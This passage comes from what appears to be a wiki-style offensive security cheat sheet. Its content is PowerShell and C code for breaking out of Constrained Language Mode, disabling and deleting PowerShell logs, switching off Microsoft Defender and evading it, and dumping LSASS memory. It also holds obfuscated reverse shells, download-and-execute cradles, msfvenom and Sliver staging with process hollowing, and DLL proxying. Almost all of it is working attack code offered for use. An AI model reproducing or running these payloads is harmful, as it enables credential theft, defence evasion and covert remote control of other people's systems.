[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
